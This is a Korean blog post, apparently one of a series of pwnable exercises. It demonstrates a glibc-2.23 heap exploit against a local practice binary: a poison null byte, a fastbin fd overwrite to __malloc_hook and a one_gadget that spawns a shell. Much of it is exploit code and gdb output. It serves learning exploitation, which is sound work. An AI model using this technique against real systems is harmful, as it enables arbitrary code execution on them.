PWNABLE] Poison Null Byte - Control RIP

woounnan·2020년 4월 18일
1

skills

목록 보기
23/39
post-thumbnail

개요

https://velog.io/@woounnan/PWNABLE-Poison-Null-Byte-Libc-Leak와 이어지는 내용이다.


Control RIP

앞서 libc 주소를 획득했다. 하지만 이 값은 base 주소를 얻기위한 수단일 뿐이다.

최종 목표는 rip를 제어하여 원하는 코드를 실행할 수 있어야 한다.

Fast Bin

64비트 기준 0x80 이하의 크기를 가지는 free 청크를 관리한다.(glibc-2.23에서)

singled linked list로 이루어지기 때문에 fd 하나의 조작으로 rip 컨트롤이 가능하며, 병합이 되지 않기 때문에 다른 요소를 고려할 필요가 없어 익스플로잇에 자주 활용된다.

본 포스팅에서도 fastbin 조작을 이용한 익스플로잇을 수행할 것이다.

중간 점검

libc leak이 수행된 지금의 청크 상황을 정리해보자.

메모리 상태를 보자.

할당되어있는 chunk_BBB를 free된 것처럼 속이고, 그 위치에 fd, bk가 오도록 만든 후 그 값을 읽어 libc 주소를 확인했다.

현재 fd, bkchunk_BBB에 위치해있다.
하지만 이것은 double linked list인 small bin에 저장되어있는 것이다.

익스플로잇을 위해 chunk_BBBfastbin에 저장되도록 만들어야 한다.

Restore size of chunk_BBB

현재 할당되어있는 chunk_AAA를 free시키고 0x10만큼 더 큰 사이즈로 재할당한다.

0x10을 추가하는 것은, 기존의 chunk_BBB 영역을 오버플로우하여 size+flags를 조작하기 위함이다.

현재 chunk_BBBsize+flags0x171, 즉 chunk_BBBchunk_CCC가 합쳐진 크기가 저장되어있다.

이 값을 처음의 chunk_BBB의 크기이자, fastbin 크기인 0x70으로 변경시킨다.

for i in range(0xfd, 0xf7, -1):
  delete(1)
  create(i+1, 'E'*i + '\x70') # chunk_EEE, new_idx = 1

메모리를 확인하면

chunk_BBBsize+flags0x70으로 변경되었다.

chunk_BBB into Fast Bin

현재 할당되어있는 상태인 chunk_BBB를 free시킨다.

delete(0)

그러면 조작된 크기인 0x70를 갖는 chunk_BBB가 fastbin에 저장되고, chunk_BBB의 시작부분의 데이터는 fastbin을 가리키는 fd로 변경된다.

fastbin을 확인해보면

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x604110 (overlap chunk with 0x604120(freed) )
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6042a0 (size : 0x20be0) 
       last_remainder: 0x604120 (size : 0x160) 
            unsortbin: 0x604120 (size : 0x160)
gdb-peda$ 

chunk_BBB의 주소가 저장되어있다.

Change fd

지금 chunk_BBBfd에는 아무런 값도 저장되어있지 않다. 그 이유는 fastbin에 저장된 chunk_BBB가 유일한 청크이기 때문이다.

만약 chunk_BBBfd값을 임의의 값 0xdeadbeef으로 변경한다면 어떻게 될까?

위 그림처럼 0xdeadbeef를 또다른 청크의 주소값으로 인식할 것이다.

그리고 할당요청이 들어올 때, 0xdeadbeef의 주소를 반환해줄 것이다.

Precautions

하지만 아무런 주소값을 사용할 수 없다.

fastbin의 같은 엔트리에 저장된 청크들은 모두 동일한 사이즈를 갖는다.
chunk_BBB가 0x70이므로, 0xdeadbeef 주소의 (가상)청크의 size+flags 값도 0x70을 나타내고 있어야 한다.

다행히 크기를 검사할 때 size+flags의 LSB 4비트(0xf)는 무시된다고 한다.

그럼 fake 청크로 사용될 수 있는 메모리 값은 QW: 0x70 ~ QW: 0x7f가 된다.

__malloc_hook

__malloc_hook은 모든 malloc() 호출에서 참조되는 포인터이다.

중요한 것은, __malloc_hook에는 Null이 기본으로 저장되어 있는데, 이 값이 아닐 경우 함수 포인터로 인식하여 그것을 호출한다.

gdb-peda$ x/xg &__malloc_hook
0x7ffff7dd1b10 <__malloc_hook>:	0x0000000000000000

또한 __malloc_hook의 이전의 바이트를 보면 앞서 찾았던 QW: 0x70 ~ QW: 0x7f를 만족하는 값이 저장되어있다.

이 주소의 오프셋을 계산한다.

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/work/vuln
0x00601000         0x00602000         r--p	/work/vuln
0x00602000         0x00603000         rw-p	/work/vuln
0x00603000         0x00625000         rw-p	[heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped

gdb-peda$ p 0x7ffff7dd1aed - 0x00007ffff7dd1000
$2 = 0xaed

Change fd to __malloc_hook

chunk_BBBfd를 변경하기 위해, 이 값을 덮어쓸만큼 큰 chunk_AAA를 할당해서 fd의 주소값을 조작한다.

delete(1) # delete chunk_AAA
offset_hook = 0xaed
create(0x108, 'A'*0x100 + p64(offset_hook+libc_base)) # new_idx = 0

fd 값을 덮어쓰는 과정에서 chunk_BBBsize+flags도 변경되었다.

gdb-peda$ x/80gx 0x604110
0x604110:	0x4141414141414141	0x4141414141414141 #needs to restore size
0x604120:	0x00007ffff7dd1aed	0x0000000000000161
0x604130:	0x00007ffff7dd1b78	0x00007ffff7dd1b78

복구시켜준다.

for i in range(0xfe, 0xf7, -1):
  delete(0)
  create(i+8, 'E'*i + '\x70\x00') # chunk_EEE, new_idx = 1

'\x70'이 아닌 '\x70\x00'을 입력하는 이유는, 할당크기보다 적게 데이터를 전달하고 있기 때문에 엔터 입력까지 포함해서 데이터를 write하게 된다.
따라서, 널바이트로 라인피드가 복사되지 않도록 만들어준 것이다.

확인해보면

gdb-peda$ x/80gx 0x604110
0x604110:	0x4545454545454545	0x0000000000000070
0x604120:	0x00007ffff7dd1aed	0x0000000000000161
0x604130:	0x00007ffff7dd1b78	0x00007ffff7dd1b78

0x70으로 복구되었다.

Control Rip

이제 청크를 할당하여 __malloc_hook에 값을 쓰고, 그 주소로 분기되는지 확인해보자.

현재 fastbin에는 chunk_BBB, __malloc_hook가 존재한다.

같은 크기의 청크를 할당하면 chunk_BBB의 주소를 반환할 것이고

또다시 할당했을 때, __malloc_hook의 주소가 반환되어 이 값을 변경시킬 수 있다.

시험삼아 0xdeadbeef로 변경해보자.

create(0x60, 'B'*0x60)

foo = 0xdeadbeef
create(0x60, 0x13*'G'+p64(foo)+'G'*(0x68-0x13-8))

create(0x20, 'trigger __malloc_hook')

__malloc_hook이 0xdeadbeef로 변경된 상태로 malloc()이 또다시 호출되었을 때 __malloc_hook이 참조되어 0xdeadbeef 주소로 분기할 것이다.

Core was generated by `./vuln'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000deadbeef in ?? ()
gdb-peda$ 

Exploit

원가젯을 이용하여 쉘을 실행시키자.

root@ubuntu:/work# one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

테스트 결과 3번째 가젯의 조건을 맞춰줄 수 있었다.

세 번째 가젯으로 실행했을 때 모습이다.
execve()는 실패했지만, 조건값인 rsp+0x50을 보면 내가 입력한 값인 0x474747474747이 들어가있다.

이것을 조건에 맞게 0x00으로 설정해주면 되겠다.

offset_oneshot = 0xf02a4

oneshot = libc_base + offset_oneshot
foo = 0xdeadbeef

create(0x60, 0x13*'G'+p64(oneshot)+'\x00'*(0x68-0x13-8))
create(0x20, 'trigger __malloc_hook')

p.interactive()

코드를 실행해보면

정상적으로 쉘이 실행되었다.

0개의 댓글